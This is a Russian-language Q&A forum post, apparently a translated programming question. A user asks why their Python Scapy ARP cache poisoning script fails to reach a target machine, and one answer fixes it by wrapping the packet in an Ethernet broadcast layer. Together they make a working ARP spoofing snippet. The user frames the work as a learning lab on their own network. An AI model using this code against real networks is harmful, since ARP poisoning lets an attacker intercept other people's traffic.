Пакет Arp отправлен с использованием Python 3 Scapy, не достигнув пункта назначения
Я пытаюсь сделать простое отравление кеша arp на моей другой машине для целей обучения, используя версию scapy для python3. Я использую следующий код:
from scapy.all import *
arp = ARP()
arp.op = 2
arp.psrc = '192.168.0.15' #computer I want to impersonate
arp.pdst = '192.168.0.5' #computer I want to send arp packet too
arp.hwsrc = 'ac:bc:32:c6:49:20' #my mac
arp.hwdst = 'ac:bc:32:c6:12:90' #mac of computer I want to poison
sendp(arp,iface = 'en0')
Я получаю следующий вывод при запуске этой программы:
WARNING: Could not load module netifaces: No module named 'netifaces'
.
Sent 1 packets.
Я не запускал эту программу с помощью sudo, и я уверен, что en0 - правильный интерфейс. Однако, когда я запускаю tshark на компьютере с ip = 192.168.0.5, отправленный пакет arp не появляется. Может кто-нибудь сказать мне, какую ошибку я допустил, из-за чего пакет не достиг целевой машины.
1 ответ
Я думаю, что вы также должны определить эфирный слой. Не могли бы вы попробовать изменить arp = ARP()
в arp = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP()
? Установка dst в:ff:ff:ff:ff:ff указывает Broadcast, то есть он будет отправлен всем хостам.